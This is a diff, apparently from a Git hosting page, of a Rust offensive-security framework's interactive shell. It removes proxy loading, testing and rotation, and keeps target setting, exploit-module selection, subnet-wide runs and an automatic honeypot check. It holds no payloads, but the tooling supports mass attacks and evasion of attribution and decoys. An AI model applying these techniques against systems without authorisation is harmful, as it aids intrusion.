|
||||
}
|
||||
} else {
|
||||
println!("{}", "No target set. Use 'set target <value>' first.".yellow());
|
||||
println!("{}", "No target set. Use 'set target <value>' (or 't <value>') first.".yellow());
|
||||
println!("{}", " Examples:".dimmed());
|
||||
println!("{}", " set target 192.168.1.1".dimmed());
|
||||
println!("{}", " set target 192.168.1.0/24".dimmed());
|
||||
@@ -495,46 +324,15 @@ pub async fn interactive_shell() -> Result<()> {
|
||||
for (idx, ip) in ips.iter().enumerate() {
|
||||
println!("\n{}", format!("[{}/{}] Running against: {}", idx + 1, total, ip).yellow());
|
||||
|
||||
// Perform honeypot check before running module
|
||||
// Perform honeypot check before running module
|
||||
utils::basic_honeypot_check(ip).await;
|
||||
|
||||
if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
|
||||
let mut tried_proxies = HashSet::new();
|
||||
let mut success = false;
|
||||
|
||||
while tried_proxies.len() < ctx.proxy_list.len() {
|
||||
let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies);
|
||||
set_all_proxy_env(&chosen_proxy);
|
||||
|
||||
match commands::run_module(module_path, ip).await {
|
||||
Ok(_) => {
|
||||
success = true;
|
||||
success_count += 1;
|
||||
break;
|
||||
}
|
||||
Err(e) => {
|
||||
if tried_proxies.is_empty() {
|
||||
eprintln!("[!] Module failed: {:?}", e);
|
||||
}
|
||||
tried_proxies.insert(chosen_proxy);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !success {
|
||||
match commands::run_module(module_path, ip).await {
|
||||
Ok(_) => success_count += 1,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Module failed: {:?}", e);
|
||||
fail_count += 1;
|
||||
if ctx.proxy_list.len() == tried_proxies.len() {
|
||||
println!("{}", "[!] All proxies failed for this target".red());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
clear_proxy_env_vars();
|
||||
match commands::run_module(module_path, ip).await {
|
||||
Ok(_) => success_count += 1,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Module failed: {:?}", e);
|
||||
fail_count += 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -568,49 +366,7 @@ pub async fn interactive_shell() -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Picks a random proxy from `proxy_list` that is NOT in `tried_proxies`.
|
||||
fn pick_random_untried_proxy(proxy_list: &[String], tried_proxies: &HashSet<String>) -> String {
|
||||
let mut rng = rand::rng();
|
||||
let choices: Vec<&String> = proxy_list
|
||||
.iter()
|
||||
.filter(|p| !tried_proxies.contains(*p))
|
||||
.collect();
|
||||
|
||||
if let Some(choice) = choices.choose(&mut rng) {
|
||||
(*choice).clone()
|
||||
} else {
|
||||
// Fallback if all have been tried
|
||||
proxy_list.choose(&mut rng)
|
||||
.map(|s| s.clone())
|
||||
.unwrap_or_else(|| "http://127.0.0.1:8080".to_string()) // Default safe fallback if list is somehow empty but passed check
|
||||
}
|
||||
}
|
||||
|
||||
// Thread-safe environment variable access
|
||||
static ENV_MUTEX: Mutex<()> = Mutex::new(());
|
||||
|
||||
/// Sets ALL_PROXY so reqwest uses it for all requests (including socks4, socks5, http, https)
|
||||
/// Thread-safe wrapper around env::set_var
|
||||
fn set_all_proxy_env(proxy: &str) {
|
||||
let _guard = ENV_MUTEX.lock().unwrap();
|
||||
// Safety: This is a localized environment variable change.
|
||||
// We use a mutex to prevent race conditions with other threads reading/writing env vars.
|
||||
unsafe {
|
||||
env::set_var("ALL_PROXY", proxy);
|
||||
}
|
||||
}
|
||||
|
||||
/// Clears environment variables for direct connection
|
||||
/// Thread-safe wrapper around env::remove_var
|
||||
fn clear_proxy_env_vars() {
|
||||
let _guard = ENV_MUTEX.lock().unwrap();
|
||||
// Safety: Similar to set_all_proxy_env, we guard this with a mutex.
|
||||
unsafe {
|
||||
env::remove_var("ALL_PROXY");
|
||||
env::remove_var("HTTP_PROXY");
|
||||
env::remove_var("HTTPS_PROXY");
|
||||
}
|
||||
}
|
||||
|
||||
fn split_command(input: &str) -> Option<(String, String)> {
|
||||
let mut parts = input.splitn(2, char::is_whitespace);
|
||||
@@ -624,13 +380,9 @@ fn resolve_command(cmd: &str) -> String {
|
||||
"?" | "help" | "h" => "help",
|
||||
"modules" | "list" | "ls" | "m" => "modules",
|
||||
"find" | "search" | "f" | "f1" => "find",
|
||||
"proxy_load" | "proxyload" | "pl" | "load_proxy" | "loadproxies" => "proxy_load",
|
||||
"proxy_on" | "pon" | "proxyon" => "proxy_on",
|
||||
"proxy_off" | "poff" | "proxyoff" => "proxy_off",
|
||||
"proxy_test" | "ptest" | "proxycheck" | "check_proxies" => "proxy_test",
|
||||
"show_proxies" | "proxies" | "pshow" | "proxy_show" => "show_proxies",
|
||||
|
||||
"use" | "u" => "use",
|
||||
"set" | "target" => "set",
|
||||
"set" | "target" | "t" => "set",
|
||||
"show_target" | "showtarget" | "st" => "show_target",
|
||||
"clear_target" | "cleartarget" | "ct" => "clear_target",
|
||||
"run" | "go" | "exec" => "run",
|
||||
@@ -697,17 +449,12 @@ fn render_help() {
|
||||
("modules", "modules | ls | m", "List available modules"),
|
||||
("find", "find <kw> | f1 <kw>", "Search modules by keyword"),
|
||||
("use", "use <path> | u <path>", "Select a module to run"),
|
||||
("set target", "set target <value>", "Set global target (IP/subnet) for all modules"),
|
||||
("show_target", "show_target | target", "Show current local and global targets"),
|
||||
("set target", "set target <val> | t <val>", "Set global target (IP/subnet)"),
|
||||
("show_target", "show_target | st", "Show current local and global targets"),
|
||||
("clear_target", "clear_target", "Clear local and global targets"),
|
||||
("run", "run | go", "Execute selected module (with proxy rotation)"),
|
||||
("run_all", "run_all | runall | ra", "Run module against all IPs in subnet (max 65536)"),
|
||||
("back", "back | b | clear | reset", "Clear current module and target"),
|
||||
("proxy_load", "proxy_load [file] | pl", "Load proxy list from file"),
|
||||
("proxy_on", "proxy_on | pon", "Enable proxy usage"),
|
||||
("proxy_off", "proxy_off | poff", "Disable proxy usage"),
|
||||
("proxy_test", "proxy_test | ptest", "Validate loaded proxies"),
|
||||
("show_proxies", "show_proxies | proxies", "Display proxy status"),
|
||||
("exit", "exit | quit | q", "Leave the shell"),
|
||||
];
|
||||
|
||||
@@ -725,7 +472,7 @@ fn render_help() {
|
||||
println!(" - Example: {}", "set target 10.0.0.1 & use scanners/smtp_user_enum & run".cyan());
|
||||
println!(" - Spacing around '&' is optional: {}", "use exploits/sample&run".cyan());
|
||||
println!(" - Targets and paths must not contain control characters or '..' (basic safety checks).");
|
||||
println!(" - Proxy rotation is automatic when 'proxy_on' is enabled and a proxy list is loaded.");
|
||||
|
||||
println!(" - Honeypot detection runs automatically before module execution to warn about suspicious targets.");
|
||||
println!(" - Target normalization supports IPv4, IPv6, hostnames, URLs, and CIDR notation.");
|
||||
println!();
|
||||
@@ -737,95 +484,9 @@ fn render_help() {
|
||||
println!();
|
||||
}
|
||||
|
||||
async fn test_current_proxies(ctx: &mut ShellContext) -> Result<()> {
|
||||
if ctx.proxy_list.is_empty() {
|
||||
println!("No proxies loaded to test.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let total = ctx.proxy_list.len();
|
||||
let test_url = prompt_string_default("Proxy test URL", "https://example.com")?;
|
||||
let timeout_secs = prompt_u64("Proxy test timeout (seconds)", 5)?;
|
||||
let max_parallel = prompt_usize("Max concurrent proxy tests", 10)?;
|
||||
|
||||
println!(
|
||||
"[*] Testing {} proxy entr{} (timeout: {}s, concurrency: {})",
|
||||
total,
|
||||
if total == 1 { "y" } else { "ies" },
|
||||
timeout_secs,
|
||||
max_parallel
|
||||
);
|
||||
|
||||
let summary = utils::test_proxies(&ctx.proxy_list, &test_url, timeout_secs, max_parallel).await;
|
||||
let working_count = summary.working.len();
|
||||
let failed = summary.failed;
|
||||
let working = summary.working;
|
||||
|
||||
if working_count == 0 {
|
||||
println!("{}", "[-] No proxies passed the connectivity test.".red());
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[+] {} proxies passed the connectivity test.", working_count).green()
|
||||
);
|
||||
}
|
||||
|
||||
if !failed.is_empty() {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[-] {} proxies failed validation:", failed.len()).yellow()
|
||||
);
|
||||
for failure in &failed {
|
||||
println!(" {} -> {}", failure.proxy, failure.reason);
|
||||
}
|
||||
}
|
||||
|
||||
ctx.proxy_list = working;
|
||||
|
||||
if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
|
||||
println!("[!] Proxy list is empty after testing. Disabling proxy usage.");
|
||||
ctx.proxy_enabled = false;
|
||||
clear_proxy_env_vars();
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn prompt_for_path(message: &str) -> io::Result<String> {
|
||||
loop {
|
||||
print!("{}", message);
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
|
||||
// Length check
|
||||
if input.len() > MAX_PATH_LENGTH {
|
||||
println!("{}", format!("Path too long (max {} characters).", MAX_PATH_LENGTH).yellow());
|
||||
continue;
|
||||
}
|
||||
|
||||
let value = input.trim();
|
||||
|
||||
if value.is_empty() {
|
||||
println!("Path cannot be empty. Please try again.");
|
||||
continue;
|
||||
}
|
||||
|
||||
// Check for control characters
|
||||
if value.chars().any(|c| c.is_control()) {
|
||||
println!("{}", "Path cannot contain control characters.".yellow());
|
||||
continue;
|
||||
}
|
||||
|
||||
// Basic path traversal check
|
||||
if value.contains("..") {
|
||||
println!("{}", "Path cannot contain '..' (path traversal).".yellow());
|
||||
continue;
|
||||
}
|
||||
|
||||
return Ok(value.to_string());
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_string_default(message: &str, default: &str) -> io::Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
@@ -867,117 +528,8 @@ fn prompt_string_default(message: &str, default: &str) -> io::Result<String> {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default_yes: bool) -> io::Result<bool> {
|
||||
let default_hint = if default_yes { "Y/n" } else { "y/N" };
|
||||
let mut attempts = 0;
|
||||
const MAX_ATTEMPTS: u8 = 10;
|
||||
|
||||
loop {
|
||||
attempts += 1;
|
||||
if attempts > MAX_ATTEMPTS {
|
||||
println!("{}", "Too many invalid attempts. Using default.".yellow());
|
||||
return Ok(default_yes);
|
||||
}
|
||||
|
||||
print!("{} [{}]: ", message, default_hint);
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
|
||||
// Length check - y/n should be very short
|
||||
if input.len() > 10 {
|
||||
println!("{}", "Please answer with 'y' or 'n'.".yellow());
|
||||
continue;
|
||||
}
|
||||
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => return Ok(default_yes),
|
||||
"y" | "yes" => return Ok(true),
|
||||
"n" | "no" => return Ok(false),
|
||||
_ => println!("Please answer with 'y' or 'n'."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_u64(message: &str, default: u64) -> io::Result<u64> {
|
||||
let mut attempts = 0;
|
||||
const MAX_ATTEMPTS: u8 = 10;
|
||||
|
||||
loop {
|
||||
attempts += 1;
|
||||
if attempts > MAX_ATTEMPTS {
|
||||
println!("{}", "Too many invalid attempts. Using default.".yellow());
|
||||
return Ok(default);
|
||||
}
|
||||
|
||||
print!("{} [{}]: ", message, default);
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
|
||||
// Length check - numbers shouldn't be too long
|
||||
if input.len() > 20 {
|
||||
println!("{}", "Number too long. Please enter a valid positive integer.".yellow());
|
||||
continue;
|
||||
}
|
||||
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
return Ok(default);
|
||||
}
|
||||
|
||||
// Only allow digits
|
||||
if !trimmed.chars().all(|c| c.is_ascii_digit()) {
|
||||
println!("Invalid number. Please enter a positive integer.");
|
||||
continue;
|
||||
}
|
||||
|
||||
match trimmed.parse::<u64>() {
|
||||
Ok(value) if value > 0 => return Ok(value),
|
||||
Ok(_) => println!("Number must be greater than 0."),
|
||||
Err(_) => println!("Number too large. Please enter a smaller value."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_usize(message: &str, default: usize) -> io::Result<usize> {
|
||||
let mut attempts = 0;
|
||||
const MAX_ATTEMPTS: u8 = 10;
|
||||
|
||||
loop {
|
||||
attempts += 1;
|
||||
if attempts > MAX_ATTEMPTS {
|
||||
println!("{}", "Too many invalid attempts. Using default.".yellow());
|
||||
return Ok(default);
|
||||
}
|
||||
|
||||
print!("{} [{}]: ", message, default);
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
|
||||
// Length check - numbers shouldn't be too long
|
||||
if input.len() > 20 {
|
||||
println!("{}", "Number too long. Please enter a valid positive integer.".yellow());
|
||||
continue;
|
||||
}
|
||||
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
return Ok(default);
|
||||
}
|
||||
|
||||
// Only allow digits
|
||||
if !trimmed.chars().all(|c| c.is_ascii_digit()) {
|
||||
println!("Invalid number. Please enter a positive integer.");
|
||||
continue;
|
||||
}
|
||||
|
||||
match trimmed.parse::<usize>() {
|
||||
Ok(value) if value > 0 => return Ok(value),
|
||||
Ok(_) => println!("Number must be greater than 0."),
|
||||
Err(_) => println!("Number too large. Please enter a smaller value."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
-365
@@ -4,12 +4,7 @@ use colored::*;
|
||||
use std::fs;
|
||||
use std::io::{BufRead, BufReader, Write}; // Added Write for flush()
|
||||
use std::path::Path;
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
use anyhow::{Result, anyhow, Context};
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use reqwest;
|
||||
use tokio::sync::Semaphore;
|
||||
use url::Url;
|
||||
use regex::Regex;
|
||||
use once_cell::sync::Lazy; // Added for safe static regex initialization
|
||||
@@ -24,16 +19,9 @@ const MAX_TARGET_LENGTH: usize = 2048;
|
||||
const MAX_MODULE_PATH_LENGTH: usize = 512;
|
||||
|
||||
/// Maximum file size to read (10MB) - prevents reading huge files
|
||||
const MAX_FILE_SIZE: u64 = 10 * 1024 * 1024;
|
||||
|
||||
/// Maximum number of proxies to process
|
||||
const MAX_PROXIES: usize = 100000;
|
||||
|
||||
/// Maximum parallel proxy tests
|
||||
const MAX_PARALLEL_PROXIES: usize = 1000;
|
||||
|
||||
/// Maximum timeout for proxy tests (5 minutes)
|
||||
const MAX_PROXY_TIMEOUT_SECS: u64 = 300;
|
||||
|
||||
/// Maximum length for command inputs to prevent DoS
|
||||
const MAX_COMMAND_LENGTH: usize = 8192;
|
||||
@@ -604,361 +592,8 @@ pub fn find_modules(keyword: &str) {
|
||||
}
|
||||
}
|
||||
|
||||
const SUPPORTED_PROXY_SCHEMES: &[&str] = &["http", "https", "socks4", "socks4a", "socks5", "socks5h"];
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct ProxyParseError {
|
||||
pub line_number: usize,
|
||||
pub content: String,
|
||||
pub reason: String,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct ProxyLoadSummary {
|
||||
pub proxies: Vec<String>,
|
||||
pub skipped: Vec<ProxyParseError>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct ProxyTestFailure {
|
||||
pub proxy: String,
|
||||
pub reason: String,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct ProxyTestSummary {
|
||||
pub working: Vec<String>,
|
||||
pub failed: Vec<ProxyTestFailure>,
|
||||
}
|
||||
|
||||
/// Validates and sanitizes a proxy URL
|
||||
fn validate_proxy_url(url: &Url) -> Result<()> {
|
||||
// Check scheme
|
||||
if !SUPPORTED_PROXY_SCHEMES.iter().any(|scheme| url.scheme() == *scheme) {
|
||||
return Err(anyhow!("unsupported proxy scheme '{}'", url.scheme()));
|
||||
}
|
||||
|
||||
// Validate host
|
||||
let host = url.host_str()
|
||||
.ok_or_else(|| anyhow!("missing proxy host"))?;
|
||||
|
||||
// Validate host length
|
||||
if host.is_empty() {
|
||||
return Err(anyhow!("proxy host cannot be empty"));
|
||||
}
|
||||
|
||||
if host.len() > 253 { // Max DNS hostname length
|
||||
return Err(anyhow!("proxy host too long (max 253 characters)"));
|
||||
}
|
||||
|
||||
// Validate hostname format (basic check)
|
||||
static PROXY_HOST_RE: Lazy<Regex> = Lazy::new(|| Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").expect("Invalid Regex"));
|
||||
if !PROXY_HOST_RE.is_match(host) {
|
||||
return Err(anyhow!("invalid proxy host format"));
|
||||
}
|
||||
|
||||
// Check for localhost/private IP abuse (warning only, not blocking)
|
||||
if host == "localhost" || host == "127.0.0.1" || host == "::1" {
|
||||
// Allow but could log warning in production
|
||||
}
|
||||
|
||||
// Validate port
|
||||
let port = url.port()
|
||||
.ok_or_else(|| anyhow!("missing proxy port"))?;
|
||||
|
||||
if port == 0 {
|
||||
return Err(anyhow!("proxy port cannot be 0"));
|
||||
}
|
||||
|
||||
// Port is already validated to be in u16 range (0-65535) by Url::parse
|
||||
// We just need to check it's not 0 (already checked above)
|
||||
// Additional validation: check for common restricted ports if needed
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Attempt to normalise and validate a proxy entry with enhanced security
|
||||
fn normalize_proxy_candidate(line: &str) -> Result<String> {
|
||||
let trimmed = line.trim();
|
||||
|
||||
// Input validation
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("empty line"));
|
||||
}
|
||||
|
||||
// Length check to prevent DoS
|
||||
if trimmed.len() > 2048 {
|
||||
return Err(anyhow!("proxy line too long (max 2048 characters)"));
|
||||
}
|
||||
|
||||
// Sanitize input - remove control characters (but allow newline/carriage return for line processing)
|
||||
let sanitized: String = trimmed
|
||||
.chars()
|
||||
.filter(|c| {
|
||||
let ch = *c;
|
||||
!ch.is_control() || ch == '\n' || ch == '\r'
|
||||
})
|
||||
.collect();
|
||||
|
||||
if sanitized.is_empty() {
|
||||
return Err(anyhow!("proxy line contains only invalid characters"));
|
||||
}
|
||||
|
||||
// Add scheme if missing
|
||||
let candidate = if sanitized.contains("://") {
|
||||
sanitized
|
||||
} else {
|
||||
format!("http://{}", sanitized)
|
||||
};
|
||||
|
||||
// Parse URL
|
||||
let url = Url::parse(&candidate)
|
||||
.map_err(|e| anyhow!("invalid proxy syntax: {}", e))?;
|
||||
|
||||
// Validate the proxy URL
|
||||
validate_proxy_url(&url)?;
|
||||
|
||||
Ok(candidate)
|
||||
}
|
||||
|
||||
/// Load proxies from a file with enhanced security and validation
|
||||
pub fn load_proxies_from_file(filename: &str) -> Result<ProxyLoadSummary> {
|
||||
// Input validation
|
||||
if filename.is_empty() {
|
||||
return Err(anyhow!("filename cannot be empty"));
|
||||
}
|
||||
|
||||
// Path validation - prevent path traversal
|
||||
let path = Path::new(filename);
|
||||
|
||||
// Check for path traversal attempts
|
||||
if filename.contains("..") {
|
||||
return Err(anyhow!("path traversal detected in filename: '{}'", filename));
|
||||
}
|
||||
|
||||
// Resolve to absolute path to check
|
||||
let canonical = path.canonicalize()
|
||||
.map_err(|e| anyhow!("failed to resolve file path '{}': {}", filename, e))?;
|
||||
|
||||
// Check file exists and is a regular file
|
||||
if !canonical.is_file() {
|
||||
return Err(anyhow!("'{}' is not a regular file", filename));
|
||||
}
|
||||
|
||||
// Check file size to prevent reading huge files
|
||||
let metadata = fs::metadata(&canonical)
|
||||
.with_context(|| format!("failed to read file metadata for '{}'", filename))?;
|
||||
|
||||
if metadata.len() > MAX_FILE_SIZE {
|
||||
return Err(anyhow!(
|
||||
"file too large (max {} bytes, got {} bytes)",
|
||||
MAX_FILE_SIZE,
|
||||
metadata.len()
|
||||
));
|
||||
}
|
||||
|
||||
// Open file
|
||||
let file = fs::File::open(&canonical)
|
||||
.with_context(|| format!("failed to open proxy file '{}'", filename))?;
|
||||
let reader = BufReader::new(file);
|
||||
|
||||
let mut proxies = Vec::new();
|
||||
let mut skipped = Vec::new();
|
||||
let mut line_count = 0usize;
|
||||
|
||||
for (idx, line_res) in reader.lines().enumerate() {
|
||||
line_count = idx + 1;
|
||||
|
||||
// Limit number of lines to process
|
||||
if line_count > MAX_PROXIES {
|
||||
skipped.push(ProxyParseError {
|
||||
line_number: line_count,
|
||||
content: format!("... (truncated after {} lines)", MAX_PROXIES),
|
||||
reason: format!("file exceeds maximum line limit ({})", MAX_PROXIES),
|
||||
});
|
||||
break;
|
||||
}
|
||||
|
||||
let raw_line = line_res
|
||||
.with_context(|| format!("failed to read line {} in '{}'", idx + 1, filename))?;
|
||||
let trimmed = raw_line.trim();
|
||||
|
||||
// Skip empty lines and comments
|
||||
if trimmed.is_empty() || trimmed.starts_with('#') || trimmed.starts_with("//") {
|
||||
continue;
|
||||
}
|
||||
|
||||
match normalize_proxy_candidate(trimmed) {
|
||||
Ok(proxy) => proxies.push(proxy),
|
||||
Err(err) => skipped.push(ProxyParseError {
|
||||
line_number: idx + 1,
|
||||
content: if trimmed.len() > 100 {
|
||||
format!("{}...", &trimmed[..100])
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
},
|
||||
reason: err.to_string(),
|
||||
}),
|
||||
}
|
||||
}
|
||||
|
||||
if proxies.is_empty() {
|
||||
return Err(anyhow!("no valid proxies found in '{}' (processed {} lines)", filename, line_count));
|
||||
}
|
||||
|
||||
// Limit number of proxies
|
||||
if proxies.len() > MAX_PROXIES {
|
||||
let original_count = proxies.len();
|
||||
proxies.truncate(MAX_PROXIES);
|
||||
return Err(anyhow!(
|
||||
"too many proxies (max {}, found {}). Truncated to {}",
|
||||
MAX_PROXIES,
|
||||
original_count,
|
||||
MAX_PROXIES
|
||||
));
|
||||
}
|
||||
|
||||
Ok(ProxyLoadSummary { proxies, skipped })
|
||||
}
|
||||
|
||||
/// Test proxies concurrently with enhanced validation and resource limits
|
||||
pub async fn test_proxies(
|
||||
proxies: &[String],
|
||||
test_url: &str,
|
||||
timeout_secs: u64,
|
||||
max_parallel: usize,
|
||||
) -> ProxyTestSummary {
|
||||
// Input validation
|
||||
if proxies.is_empty() {
|
||||
return ProxyTestSummary {
|
||||
working: Vec::new(),
|
||||
failed: Vec::new(),
|
||||
};
|
||||
}
|
||||
|
||||
// Validate and limit inputs
|
||||
let timeout_secs = timeout_secs.min(MAX_PROXY_TIMEOUT_SECS).max(1);
|
||||
let max_parallel = max_parallel.min(MAX_PARALLEL_PROXIES).max(1);
|
||||
|
||||
// Limit number of proxies to test
|
||||
let proxies_to_test = if proxies.len() > MAX_PROXIES {
|
||||
&proxies[..MAX_PROXIES]
|
||||
} else {
|
||||
proxies
|
||||
};
|
||||
|
||||
// Validate test URL
|
||||
let test_url = test_url.trim();
|
||||
if test_url.is_empty() {
|
||||
return ProxyTestSummary {
|
||||
working: Vec::new(),
|
||||
failed: proxies_to_test.iter().map(|p| ProxyTestFailure {
|
||||
proxy: p.clone(),
|
||||
reason: "test URL is empty".to_string(),
|
||||
}).collect(),
|
||||
};
|
||||
}
|
||||
|
||||
// Validate URL format
|
||||
if let Err(e) = Url::parse(test_url) {
|
||||
return ProxyTestSummary {
|
||||
working: Vec::new(),
|
||||
failed: proxies_to_test.iter().map(|p| ProxyTestFailure {
|
||||
proxy: p.clone(),
|
||||
reason: format!("invalid test URL: {}", e),
|
||||
}).collect(),
|
||||
};
|
||||
}
|
||||
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
let semaphore = Arc::new(Semaphore::new(max_parallel));
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
for proxy in proxies_to_test.iter().cloned() {
|
||||
let test_url = test_url.to_string();
|
||||
let semaphore = Arc::clone(&semaphore);
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let permit = match semaphore.acquire_owned().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => {
|
||||
return (proxy, Err(anyhow!("failed to acquire semaphore permit")));
|
||||
}
|
||||
};
|
||||
let _permit = permit;
|
||||
let result = check_proxy(&proxy, &test_url, timeout).await;
|
||||
(proxy, result)
|
||||
}));
|
||||
}
|
||||
|
||||
let mut summary = ProxyTestSummary {
|
||||
working: Vec::new(),
|
||||
failed: Vec::new(),
|
||||
};
|
||||
|
||||
while let Some(res) = tasks.next().await {
|
||||
match res {
|
||||
Ok((proxy, Ok(()))) => summary.working.push(proxy),
|
||||
Ok((proxy, Err(err))) => summary.failed.push(ProxyTestFailure {
|
||||
proxy,
|
||||
reason: err.to_string(),
|
||||
}),
|
||||
Err(join_err) => summary.failed.push(ProxyTestFailure {
|
||||
proxy: "<spawn failed>".to_string(),
|
||||
reason: join_err.to_string(),
|
||||
}),
|
||||
}
|
||||
}
|
||||
|
||||
summary
|
||||
}
|
||||
|
||||
/// Check a single proxy with enhanced error handling and validation
|
||||
async fn check_proxy(proxy: &str, test_url: &str, timeout: Duration) -> Result<()> {
|
||||
// Validate inputs
|
||||
if proxy.is_empty() {
|
||||
return Err(anyhow!("proxy cannot be empty"));
|
||||
}
|
||||
|
||||
if test_url.is_empty() {
|
||||
return Err(anyhow!("test URL cannot be empty"));
|
||||
}
|
||||
|
||||
// Validate URL format
|
||||
let _test_url_parsed = Url::parse(test_url)
|
||||
.map_err(|e| anyhow!("invalid test URL '{}': {}", test_url, e))?;
|
||||
|
||||
// Create proxy configuration
|
||||
let proxy_cfg = reqwest::Proxy::all(proxy)
|
||||
.with_context(|| format!("invalid proxy '{}'", proxy))?;
|
||||
|
||||
// Build HTTP client with timeout
|
||||
let client = reqwest::Client::builder()
|
||||
.timeout(timeout)
|
||||
.proxy(proxy_cfg)
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()
|
||||
.context("failed to build reqwest client")?;
|
||||
|
||||
// Make request with timeout
|
||||
let response = client
|
||||
.get(test_url)
|
||||
.timeout(timeout)
|
||||
.send()
|
||||
.await
|
||||
.with_context(|| format!("request via proxy '{}' failed", proxy))?;
|
||||
|
||||
// Check response status
|
||||
let status = response.status();
|
||||
if !status.is_success() {
|
||||
return Err(anyhow!(
|
||||
"received HTTP status {} while hitting {}",
|
||||
status,
|
||||
test_url
|
||||
));
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Extract IP address or hostname from target string.
|
||||
/// Handles formats: IP:port, [IPv6]:port, hostname:port, CIDR notation
|
||||
|
||||
Reference in New Issue
Block a user